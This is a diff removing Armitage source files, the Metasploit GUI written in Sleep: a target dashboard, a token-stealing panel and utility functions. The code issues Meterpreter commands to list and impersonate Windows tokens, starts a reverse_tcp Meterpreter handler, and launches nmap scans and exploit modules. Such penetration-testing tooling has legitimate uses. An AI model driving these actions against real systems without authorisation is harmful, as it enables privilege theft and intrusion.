}
|
|
||||||
|
|
||||||
# called when a target is clicked on...
|
|
||||||
sub targetPopup {
|
|
||||||
local('$popup');
|
|
||||||
$popup = [new JPopupMenu];
|
|
||||||
|
|
||||||
# no hosts are selected, create a menu related to the graph itself
|
|
||||||
if (size($1) == 0 && [$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
|
||||||
graph_items($popup, $graph);
|
|
||||||
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
|
||||||
}
|
|
||||||
else if (size($1) > 0) {
|
|
||||||
host_selected_items($popup, $1);
|
|
||||||
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setDefaultAutoLayout {
|
|
||||||
local('$type');
|
|
||||||
$type = [$preferences getProperty: "graph.default_layout.layout", "circle"];
|
|
||||||
[$1 setAutoLayout: $type];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub makeScreenshot {
|
|
||||||
local('$ss');
|
|
||||||
|
|
||||||
if ($graph !is $null) {
|
|
||||||
$ss = [$graph getScreenshot];
|
|
||||||
|
|
||||||
if ($ss !is $null) {
|
|
||||||
[javax.imageio.ImageIO write: $ss, "png", [new java.io.File: getFileProper($1)]];
|
|
||||||
return getFileProper($1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createDashboard {
|
|
||||||
if ($targets !is $null) {
|
|
||||||
[$targets actionPerformed: $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$graph %hosts $console $split $transfer');
|
|
||||||
|
|
||||||
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
|
||||||
setf('&overlay_images', lambda(&overlay_images, $scale => 1.0));
|
|
||||||
$graph = [new NetworkGraph: $preferences];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
setf('&overlay_images', lambda(&overlay_images, $scale => 11.0));
|
|
||||||
$graph = [new NetworkTable: $preferences];
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup the drop portion of our drag and drop...
|
|
||||||
$transfer = [new ui.ModuleTransferHandler];
|
|
||||||
[$transfer setHandler: lambda({
|
|
||||||
local('@temp $type $path $host');
|
|
||||||
@temp = split('/', $1);
|
|
||||||
$type = @temp[0];
|
|
||||||
$path = join('/', sublist(@temp, 1));
|
|
||||||
$host = [$graph getCellAt: $2];
|
|
||||||
if ($host !is $null) {
|
|
||||||
moduleAction($type, $path, @($host));
|
|
||||||
}
|
|
||||||
}, \$graph)];
|
|
||||||
|
|
||||||
setDefaultAutoLayout($graph);
|
|
||||||
|
|
||||||
[$frame setTop: createModuleBrowser($graph, $transfer)];
|
|
||||||
|
|
||||||
$targets = $graph;
|
|
||||||
[[$cortana getSharedData] put: "targets", $graph];
|
|
||||||
[$targets setTransferHandler: $transfer];
|
|
||||||
|
|
||||||
# now we can tell the scripting engine to start pulling data from metasploit...
|
|
||||||
let(&refreshGraph, \$graph);
|
|
||||||
|
|
||||||
[$graph setGraphPopup: lambda(&targetPopup, \$graph)];
|
|
||||||
[$graph addActionForKeySetting: "graph.save_screenshot.shortcut", "ctrl pressed P", lambda({
|
|
||||||
local('$location');
|
|
||||||
$location = saveFile2($sel => "hosts.png");
|
|
||||||
if ($location !is $null) {
|
|
||||||
makeScreenshot($location);
|
|
||||||
}
|
|
||||||
}, \$graph)];
|
|
||||||
|
|
||||||
let(&makeScreenshot, \$graph);
|
|
||||||
}
|
|
|
@ -1,91 +0,0 @@
|
||||||
#
|
|
||||||
# Token Stealing...
|
|
||||||
#
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
sub updateTokenList {
|
|
||||||
# update the dialog to indicate that things are changing...
|
|
||||||
[$3 setEnabled: 0];
|
|
||||||
[$3 setText: "Grabbing tokens..."];
|
|
||||||
|
|
||||||
# setup incognito and list the tokens...
|
|
||||||
m_cmd_callback($1, "use incognito", {});
|
|
||||||
m_cmd_callback($1, "sysinfo", {});
|
|
||||||
m_cmd_callback($1, "sysinfo", {});
|
|
||||||
m_cmd_callback($1, "sysinfo", {});
|
|
||||||
m_cmd_callback($1, "list_tokens -u", lambda({
|
|
||||||
if ($0 eq "end") {
|
|
||||||
local('$entry $row $type');
|
|
||||||
[$model clear: 32];
|
|
||||||
foreach $entry (split("\n", $2)) {
|
|
||||||
$entry = ["$entry" trim];
|
|
||||||
if ($entry eq "Delegation Tokens Available") {
|
|
||||||
$type = "delegation";
|
|
||||||
}
|
|
||||||
else if ($entry eq "Impersonation Tokens Available") {
|
|
||||||
$type = "impersonation";
|
|
||||||
}
|
|
||||||
else if ($entry ismatch '=*' || $entry eq "No tokens available" || " " isin $entry) {
|
|
||||||
# do nothing...
|
|
||||||
}
|
|
||||||
else if ($entry ne "") {
|
|
||||||
$row = %();
|
|
||||||
$row['Token Type'] = $type;
|
|
||||||
$row['Name'] = $entry;
|
|
||||||
[$model addEntry: $row];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
[$refresh setEnabled: 1];
|
|
||||||
[$refresh setText: "Refresh"];
|
|
||||||
}, \$refresh));
|
|
||||||
}
|
|
||||||
}, $model => $2, $refresh => $3));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub stealToken {
|
|
||||||
local('$dialog $table $model $steal $revert $whoami $refresh');
|
|
||||||
$dialog = [new JPanel];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
($table, $model) = setupTable("Name", @("Token Type", "Name"), @());
|
|
||||||
[$table setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$steal = [new JButton: "Steal Token"];
|
|
||||||
[$steal addActionListener: lambda({
|
|
||||||
local('$value');
|
|
||||||
$value = [$model getSelectedValue: $table];
|
|
||||||
oneTimeShow("impersonate_token");
|
|
||||||
m_cmd($sid, "impersonate_token ' $+ $value $+ '");
|
|
||||||
}, $sid => $1, \$table, \$model)];
|
|
||||||
|
|
||||||
$revert = [new JButton: "Revert to Self"];
|
|
||||||
[$revert addActionListener: lambda({
|
|
||||||
oneTimeShow("getuid");
|
|
||||||
m_cmd($sid, "rev2self");
|
|
||||||
m_cmd($sid, "getuid");
|
|
||||||
}, $sid => $1)];
|
|
||||||
|
|
||||||
$whoami = [new JButton: "Get UID"];
|
|
||||||
[$whoami addActionListener: lambda({
|
|
||||||
oneTimeShow("getuid");
|
|
||||||
m_cmd($sid, "getuid");
|
|
||||||
}, $sid => $1)];
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({
|
|
||||||
updateTokenList($sid, $model, $refresh);
|
|
||||||
}, $sid => $1, \$model, \$refresh)];
|
|
||||||
|
|
||||||
updateTokenList($1, $model, $refresh);
|
|
||||||
|
|
||||||
[$dialog add: center($steal, $revert, $whoami, $refresh), [BorderLayout SOUTH]];
|
|
||||||
[$frame addTab: "Tokens $1", $dialog, $null, "Tokens " . sessionToHost($1)];
|
|
||||||
}
|
|
|
@ -1,640 +0,0 @@
|
||||||
#
|
|
||||||
# Utility Functions for Armitage
|
|
||||||
#
|
|
||||||
|
|
||||||
import console.*;
|
|
||||||
import armitage.*;
|
|
||||||
import msf.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
global('$MY_ADDRESS $RPC_CONSOLE');
|
|
||||||
|
|
||||||
sub call_async {
|
|
||||||
if (size(@_) > 2) {
|
|
||||||
[$1 execute_async: $2, cast(sublist(@_, 2), ^Object)];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$1 execute_async: $2];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# invokes an RPC call: call($console, "function", arg1, arg2, ...)
|
|
||||||
sub call {
|
|
||||||
local('$exception');
|
|
||||||
|
|
||||||
try {
|
|
||||||
if (size(@_) > 2) {
|
|
||||||
return convertAll([$1 execute: $2, cast(sublist(@_, 2), ^Object)]);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return convertAll([$1 execute: $2]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
#showError("Something went wrong:\nTried: ". @_ . "\n\nError:\n $+ $exception");
|
|
||||||
showError("Something went wrong:\n $+ $2 $+ \n\nError:\n $+ $exception");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# recurses through Java/Sleep data structures and makes sure everything is a Sleep data structure.
|
|
||||||
sub convertAll {
|
|
||||||
return [cortana.core.FilterManager convertAll: $1];
|
|
||||||
}
|
|
||||||
|
|
||||||
# cleans the prompt text from an MSF RPC call
|
|
||||||
sub cleanText {
|
|
||||||
return tr($1, "\x01\x02", "");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupConsoleStyle {
|
|
||||||
this('$style');
|
|
||||||
if ($style is $null) {
|
|
||||||
local('$handle');
|
|
||||||
$handle = [SleepUtils getIOHandle: resource("resources/msfconsole.style"), $null];
|
|
||||||
$style = join("\n", readAll($handle));
|
|
||||||
closef($handle);
|
|
||||||
}
|
|
||||||
|
|
||||||
[$1 setStyle: filter_data("console_style", $style)[0]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupEventStyle {
|
|
||||||
this('$style');
|
|
||||||
if ($style is $null) {
|
|
||||||
local('$handle');
|
|
||||||
$handle = [SleepUtils getIOHandle: resource("resources/eventlog.style"), $null];
|
|
||||||
$style = join("\n", readAll($handle));
|
|
||||||
closef($handle);
|
|
||||||
}
|
|
||||||
|
|
||||||
[$1 setStyle: filter_data("event_style", $style)[0]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createDisplayTab {
|
|
||||||
local('$console $host $queue $file');
|
|
||||||
$queue = [new ConsoleQueue: rand(@POOL)];
|
|
||||||
if ($1 eq "Log Keystrokes") {
|
|
||||||
$console = [new ActivityConsole: $preferences];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$console = [new Console: $preferences];
|
|
||||||
}
|
|
||||||
setupConsoleStyle($console);
|
|
||||||
[$queue setDisplay: $console];
|
|
||||||
[new QueueTabCompletion: $console, $queue];
|
|
||||||
logCheck($console, iff($host, $host, "all"), iff($file, $file, strrep($1, " ", "_")));
|
|
||||||
[$frame addTab: $1, $console, lambda({ [$queue destroy]; }, \$queue)];
|
|
||||||
return $queue;
|
|
||||||
}
|
|
||||||
|
|
||||||
# creates a new metasploit console (with all the trimmings)
|
|
||||||
sub createConsolePanel {
|
|
||||||
local('$console $result $thread $1');
|
|
||||||
$console = [new Console: $preferences];
|
|
||||||
setupConsoleStyle($console);
|
|
||||||
|
|
||||||
$result = call($client, "console.create");
|
|
||||||
$thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1];
|
|
||||||
[$thread setMetasploitConsole];
|
|
||||||
|
|
||||||
[$thread setSessionListener: {
|
|
||||||
local('$session $sid');
|
|
||||||
$sid = [$1 getActionCommand];
|
|
||||||
$session = sessionData($sid);
|
|
||||||
if ($session is $null) {
|
|
||||||
showError("Session $sid does not exist");
|
|
||||||
}
|
|
||||||
else if ($session['desc'] eq "Meterpreter") {
|
|
||||||
createMeterpreterTab($sid);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
createShellSessionTab(\$session, \$sid);
|
|
||||||
}
|
|
||||||
}];
|
|
||||||
|
|
||||||
[$console addWordClickListener: lambda({
|
|
||||||
local('$word');
|
|
||||||
$word = [$1 getActionCommand];
|
|
||||||
|
|
||||||
if ($word in @exploits || $word in @auxiliary) {
|
|
||||||
[$thread sendString: "use $word $+ \n"];
|
|
||||||
}
|
|
||||||
else if ($word in @payloads) {
|
|
||||||
[$thread sendString: "set PAYLOAD $word $+ \n"];
|
|
||||||
}
|
|
||||||
}, \$thread)];
|
|
||||||
|
|
||||||
return @($result['id'], $console, $thread);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createConsoleTab {
|
|
||||||
local('$id $console $thread $1 $2 $host $file');
|
|
||||||
($id, $console, $thread) = createConsolePanel(
|
|
||||||
iff([$preferences getProperty: "armitage.no_msf_banner.boolean", "false"] eq "true", 1, $2)
|
|
||||||
);
|
|
||||||
|
|
||||||
if ($host is $null && $file is $null) {
|
|
||||||
logCheck($console, "all", "console");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
logCheck($console, $host, $file);
|
|
||||||
}
|
|
||||||
|
|
||||||
[$frame addTab: iff($1 is $null, "Console", $1), $console, $thread, $host];
|
|
||||||
return $thread;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setg {
|
|
||||||
# update team server's understanding of LHOST
|
|
||||||
if ($1 eq "LHOST") {
|
|
||||||
call_async($client, "armitage.set_ip", $2);
|
|
||||||
}
|
|
||||||
|
|
||||||
%MSF_GLOBAL[$1] = $2;
|
|
||||||
local('$c');
|
|
||||||
$c = createConsole($client);
|
|
||||||
call_async($client, "console.write", $c, "setg $1 $2 $+ \n");
|
|
||||||
call_async($client, "console.release", $c);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createDefaultHandler {
|
|
||||||
# setup a handler for meterpreter
|
|
||||||
local('$port');
|
|
||||||
$port = randomPort();
|
|
||||||
setg("LPORT", $port);
|
|
||||||
warn("Creating a default reverse handler... 0.0.0.0: $+ $port");
|
|
||||||
call_async($client, "module.execute", "exploit", "multi/handler", %(
|
|
||||||
PAYLOAD => "windows/meterpreter/reverse_tcp",
|
|
||||||
LHOST => "0.0.0.0",
|
|
||||||
LPORT => $port,
|
|
||||||
ExitOnSession => "false"
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupHandlers {
|
|
||||||
find_job("Exploit: multi/handler", {
|
|
||||||
if ($cortana !is $null) {
|
|
||||||
warn("Starting Cortana on $MY_ADDRESS");
|
|
||||||
[$cortana start: $MY_ADDRESS];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($1 == -1) {
|
|
||||||
createDefaultHandler();
|
|
||||||
}
|
|
||||||
else if ('LPORT' !in %MSF_GLOBAL) {
|
|
||||||
createDefaultHandler();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
# creates the metasploit console.
|
|
||||||
sub createConsole {
|
|
||||||
local('$r');
|
|
||||||
$r = call($1, "console.allocate");
|
|
||||||
return $r['id'];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub getWorkspaces
|
|
||||||
{
|
|
||||||
return sorta(filter({ return $1["name"]; }, call($mclient, "db.workspaces")["workspaces"]));
|
|
||||||
}
|
|
||||||
|
|
||||||
# creates a new console and execs a cmd in it.
|
|
||||||
# cmd_safe("command to execute");
|
|
||||||
sub cmd_safe {
|
|
||||||
local('$queue $2');
|
|
||||||
$queue = [new ConsoleQueue: $client];
|
|
||||||
if ($2 !is $null) {
|
|
||||||
[$queue addListener: $2];
|
|
||||||
}
|
|
||||||
[$queue start];
|
|
||||||
[$queue addCommand: "x", $1];
|
|
||||||
[$queue stop];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createNmapFunction {
|
|
||||||
return lambda({
|
|
||||||
local('$address');
|
|
||||||
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(" ", [$targets getSelectedHosts]));
|
|
||||||
if ($address eq "") { return; }
|
|
||||||
|
|
||||||
local('$queue');
|
|
||||||
$queue = createDisplayTab("nmap");
|
|
||||||
elog("started a scan: nmap $args $address");
|
|
||||||
|
|
||||||
[$queue addCommand: "x", "db_nmap $args $address"];
|
|
||||||
[$queue addListener: {
|
|
||||||
showError("Scan Complete!\n\nUse Attacks->Find Attacks to suggest\napplicable exploits for your targets.");
|
|
||||||
}];
|
|
||||||
[$queue start];
|
|
||||||
}, $args => $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub getBindAddress {
|
|
||||||
local('$queue');
|
|
||||||
if ('LHOST' in %MSF_GLOBAL) {
|
|
||||||
$MY_ADDRESS = %MSF_GLOBAL['LHOST'];
|
|
||||||
warn("Used the incumbent: $MY_ADDRESS");
|
|
||||||
setupHandlers();
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$queue = [new ConsoleQueue: $client];
|
|
||||||
[$queue addCommand: "x", "use windows/meterpreter/reverse_tcp"];
|
|
||||||
[$queue addListener: lambda({
|
|
||||||
local('$address');
|
|
||||||
$address = convertAll([$queue tabComplete: "setg LHOST "]);
|
|
||||||
$address = split('\\s+', $address[0])[2];
|
|
||||||
|
|
||||||
if ($address eq "127.0.0.1") {
|
|
||||||
[SwingUtilities invokeLater: {
|
|
||||||
local('$address');
|
|
||||||
$address = ask("Could not determine attack computer IP\nWhat is it?");
|
|
||||||
if ($address ne "") {
|
|
||||||
$MY_ADDRESS = $address;
|
|
||||||
thread({
|
|
||||||
setg("LHOST", $MY_ADDRESS);
|
|
||||||
setupHandlers();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
warn("Used the tab method: $address");
|
|
||||||
setg("LHOST", $address);
|
|
||||||
$MY_ADDRESS = $address;
|
|
||||||
setupHandlers();
|
|
||||||
}
|
|
||||||
}, \$queue)];
|
|
||||||
[$queue start];
|
|
||||||
[$queue stop];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub randomPort {
|
|
||||||
return int( 1024 + (rand() * 1024 * 30) );
|
|
||||||
}
|
|
||||||
|
|
||||||
sub scanner {
|
|
||||||
return lambda({
|
|
||||||
launch_dialog("Scan ( $+ $type $+ )", "auxiliary", "scanner/ $+ $type", $host);
|
|
||||||
}, $sid => $2, $host => $3, $type => $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub startMetasploit {
|
|
||||||
local('$exception $user $pass $port');
|
|
||||||
($user, $pass, $port) = @_;
|
|
||||||
try {
|
|
||||||
println("Starting msfrpcd for you.");
|
|
||||||
|
|
||||||
if (isWindows()) {
|
|
||||||
local('$handle $data $msfdir');
|
|
||||||
$msfdir = [$preferences getProperty: "armitage.metasploit_install.string", ""];
|
|
||||||
while (!-exists $msfdir || $msfdir eq "" || !-exists getFileProper($msfdir, "msf3")) {
|
|
||||||
$msfdir = chooseFile($title => "Where is Metasploit installed?", $dirsonly => 1);
|
|
||||||
|
|
||||||
if ($msfdir eq "") {
|
|
||||||
[System exit: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
# if the user chooses c:\metasploit AND we're in the 4.5 environment... adjust
|
|
||||||
if (-exists getFileProper($msfdir, "apps", "pro", "msf3")) {
|
|
||||||
$msfdir = getFileProper($msfdir, "apps", "pro");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (charAt($msfdir, -1) ne "\\") {
|
|
||||||
$msfdir = "$msfdir $+ \\";
|
|
||||||
}
|
|
||||||
|
|
||||||
[$preferences setProperty: "armitage.metasploit_install.string", $msfdir];
|
|
||||||
savePreferences();
|
|
||||||
}
|
|
||||||
|
|
||||||
if ("*apps*pro*" iswm $msfdir) {
|
|
||||||
$handle = [SleepUtils getIOHandle: resource("resources/msfrpcd_new.bat"), $null];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$handle = [SleepUtils getIOHandle: resource("resources/msfrpcd.bat"), $null];
|
|
||||||
}
|
|
||||||
$data = join("\r\n", readAll($handle, -1));
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
$handle = openf(">msfrpcd.bat");
|
|
||||||
writeb($handle, strrep($data, '$$USER$$', $1, '$$PASS$$', $2, '$$BASE$$', $msfdir, '$$PORT$$', $port));
|
|
||||||
closef($handle);
|
|
||||||
deleteOnExit("msfrpcd.bat");
|
|
||||||
|
|
||||||
$msfrpc_handle = exec(@("cmd.exe", "/C", getFileProper("msfrpcd.bat")), convertAll([System getenv]));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$msfrpc_handle = exec("msfrpcd -f -a 127.0.0.1 -U $user -P $pass -S -p $port", convertAll([System getenv]));
|
|
||||||
}
|
|
||||||
|
|
||||||
# consume bytes so msfrpcd doesn't block when the output buffer is filled
|
|
||||||
fork({
|
|
||||||
[[Thread currentThread] setPriority: [Thread MIN_PRIORITY]];
|
|
||||||
|
|
||||||
while (!-eof $msfrpc_handle) {
|
|
||||||
#
|
|
||||||
# check if process is dead...
|
|
||||||
#
|
|
||||||
try {
|
|
||||||
[[$msfrpc_handle getSource] exitValue];
|
|
||||||
local('$msg $text');
|
|
||||||
$msg = [SleepUtils getIOHandle: resource("resources/error.txt"), $null];
|
|
||||||
$text = readb($msg, -1);
|
|
||||||
closef($msg);
|
|
||||||
|
|
||||||
if (!askYesNo($text, "Uh oh!")) {
|
|
||||||
[gotoURL("http://www.fastandeasyhacking.com/nomsfrpcd")];
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
catch $ex {
|
|
||||||
# ignore this...
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# check for data to read...
|
|
||||||
#
|
|
||||||
if (available($msfrpc_handle) > 0) {
|
|
||||||
[[System out] print: readb($msfrpc_handle, available($msfrpc_handle))];
|
|
||||||
}
|
|
||||||
if (available($msfrpc_error) > 0) {
|
|
||||||
[[System err] print: readb($msfrpc_error, available($msfrpc_error))];
|
|
||||||
}
|
|
||||||
|
|
||||||
sleep(1024);
|
|
||||||
}
|
|
||||||
println("msfrpcd is shut down!");
|
|
||||||
}, \$msfrpc_handle, $msfrpc_error => [SleepUtils getIOHandle: [[$msfrpc_handle getSource] getErrorStream], $null], \$frame);
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
showError("Couldn't launch MSF\n" . [$exception getMessage]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub connectDialog {
|
|
||||||
# in case we ended up back here... let's kill this handle
|
|
||||||
if ($msfrpc_handle) {
|
|
||||||
closef($msfrpc_handle);
|
|
||||||
$msfrpc_handle = $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper');
|
|
||||||
$dialog = window("Connect...", 0, 0);
|
|
||||||
|
|
||||||
# setup our nifty form fields..
|
|
||||||
|
|
||||||
$host = [new ATextField: [$preferences getProperty: "connect.host.string", "127.0.0.1"], 20];
|
|
||||||
$port = [new ATextField: [$preferences getProperty: "connect.port.string", "55553"], 10];
|
|
||||||
|
|
||||||
$user = [new ATextField: [$preferences getProperty: "connect.user.string", "msf"], 20];
|
|
||||||
$pass = [new ATextField: [$preferences getProperty: "connect.pass.string", "test"], 20];
|
|
||||||
|
|
||||||
$button = [new JButton: "Connect"];
|
|
||||||
[$button setToolTipText: "<html>Connects to Metasploit.</html>"];
|
|
||||||
|
|
||||||
$help = [new JButton: "Help"];
|
|
||||||
[$help setToolTipText: "<html>Use this button to view the Getting Started Guide on the Armitage homepage</html>"];
|
|
||||||
|
|
||||||
# lay them out
|
|
||||||
|
|
||||||
$center = [new JPanel];
|
|
||||||
[$center setLayout: [new GridLayout: 4, 1]];
|
|
||||||
|
|
||||||
[$center add: label_for("Host", 70, $host)];
|
|
||||||
[$center add: label_for("Port", 70, $port)];
|
|
||||||
[$center add: label_for("User", 70, $user)];
|
|
||||||
[$center add: label_for("Pass", 70, $pass)];
|
|
||||||
|
|
||||||
[$dialog add: $center, [BorderLayout CENTER]];
|
|
||||||
[$dialog add: center($button, $help), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('$h $p $u $s @o');
|
|
||||||
|
|
||||||
# clean up the user options...
|
|
||||||
@o = @([$host getText], [$port getText], [$user getText], [$pass getText]);
|
|
||||||
@o = map({ return ["$1" trim]; }, @o);
|
|
||||||
($h, $p, $u, $s) = @o;
|
|
||||||
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
|
|
||||||
if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") {
|
|
||||||
if ($__frame__ && [$__frame__ checkLocal]) {
|
|
||||||
showError("You can't connect to localhost twice");
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
closef(connect("127.0.0.1", $p, 1000));
|
|
||||||
}
|
|
||||||
catch $ex {
|
|
||||||
if (!askYesNo("A Metasploit RPC server is not running or\nnot accepting connections yet. Would you\nlike me to start Metasploit's RPC server\nfor you?", "Start Metasploit?")) {
|
|
||||||
startMetasploit($u, $s, $p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
connectToMetasploit($h, $p, $u, $s);
|
|
||||||
}, \$dialog, \$host, \$port, \$user, \$pass)];
|
|
||||||
|
|
||||||
[$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")];
|
|
||||||
|
|
||||||
[$dialog pack];
|
|
||||||
[$dialog setLocationRelativeTo: $null];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub elog {
|
|
||||||
local('$2');
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
# $2 can be NULL here. team server will populate it...
|
|
||||||
call_async($mclient, "armitage.log", $1, $2);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
# since we're not on a team server, no one else will have
|
|
||||||
# overwritten LHOST, so we can trust $MY_ADDRESS to be current
|
|
||||||
if ($2 is $null) {
|
|
||||||
$2 = $MY_ADDRESS;
|
|
||||||
}
|
|
||||||
call_async($client, "db.log_event", "$2 $+ //", $1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub module_execute {
|
|
||||||
return invoke(&_module_execute, filter_data_array("user_launch", @_));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _module_execute {
|
|
||||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "true") {
|
|
||||||
local('$host');
|
|
||||||
|
|
||||||
# for logging purposes, we should figure out the remote host being targeted
|
|
||||||
|
|
||||||
if ("RHOST" in $3) {
|
|
||||||
$host = $3["RHOST"];
|
|
||||||
}
|
|
||||||
else if ("SESSION" in $3) {
|
|
||||||
$host = sessionToHost($3["SESSION"]);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$host = "all";
|
|
||||||
}
|
|
||||||
|
|
||||||
# fix SMBPass and PASSWORD options if necessary...
|
|
||||||
if ("PASSWORD" in $3) {
|
|
||||||
$3['PASSWORD'] = fixPass($3['PASSWORD']);
|
|
||||||
}
|
|
||||||
|
|
||||||
if ("SMBPass" in $3) {
|
|
||||||
$3['SMBPass'] = fixPass($3['SMBPass']);
|
|
||||||
}
|
|
||||||
|
|
||||||
# okie then, let's create a console and execute all of this stuff...
|
|
||||||
|
|
||||||
local('$queue $key $value');
|
|
||||||
|
|
||||||
$queue = createDisplayTab($1, \$host);
|
|
||||||
|
|
||||||
[$queue addCommand: $null, "use $1 $+ / $+ $2"];
|
|
||||||
[$queue setOptions: $3];
|
|
||||||
|
|
||||||
if ($1 eq "exploit") {
|
|
||||||
[$queue addCommand: $null, "exploit -j"];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$queue addCommand: $null, "run -j"];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$queue start];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
call_async($client, "module.execute", $1, $2, $3);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub rtime {
|
|
||||||
return formatDate($1 * 1000L, 'yyyy-MM-dd HH:mm:ss Z');
|
|
||||||
}
|
|
||||||
|
|
||||||
sub deleteOnExit {
|
|
||||||
[[new java.io.File: getFileProper($1)] deleteOnExit];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub listDownloads {
|
|
||||||
this('%types');
|
|
||||||
local('$files $root $findf $hosts $host');
|
|
||||||
$files = @();
|
|
||||||
$root = $1;
|
|
||||||
$findf = {
|
|
||||||
if (-isDir $1) {
|
|
||||||
return map($this, ls($1));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
# determine the file content type
|
|
||||||
local('$type $handle $data $path');
|
|
||||||
if ($1 in %types) {
|
|
||||||
$type = %types[$1];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$handle = openf($1);
|
|
||||||
$data = readb($handle, 1024);
|
|
||||||
closef($handle);
|
|
||||||
if ($data ismatch '\p{ASCII}*') {
|
|
||||||
$type = "text/plain";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$type = "binary";
|
|
||||||
}
|
|
||||||
%types[$1] = $type;
|
|
||||||
}
|
|
||||||
|
|
||||||
# figure out the path...
|
|
||||||
$path = strrep(getFileParent($1), $root, '');
|
|
||||||
if (strlen($path) >= 2) {
|
|
||||||
$path = substr($path, 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
# return a description of the file.
|
|
||||||
return %(
|
|
||||||
host => $host,
|
|
||||||
name => getFileName($1),
|
|
||||||
size => lof($1),
|
|
||||||
updated_at => lastModified($1),
|
|
||||||
location => $1,
|
|
||||||
path => $path,
|
|
||||||
content_type => $type
|
|
||||||
);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
$hosts = map({ return getFileName($1); }, ls($root));
|
|
||||||
foreach $host ($hosts) {
|
|
||||||
addAll($files, flatten(
|
|
||||||
map(
|
|
||||||
lambda($findf, $root => getFileProper($root, $host), \$host, \%types),
|
|
||||||
ls(getFileProper($root, $host))
|
|
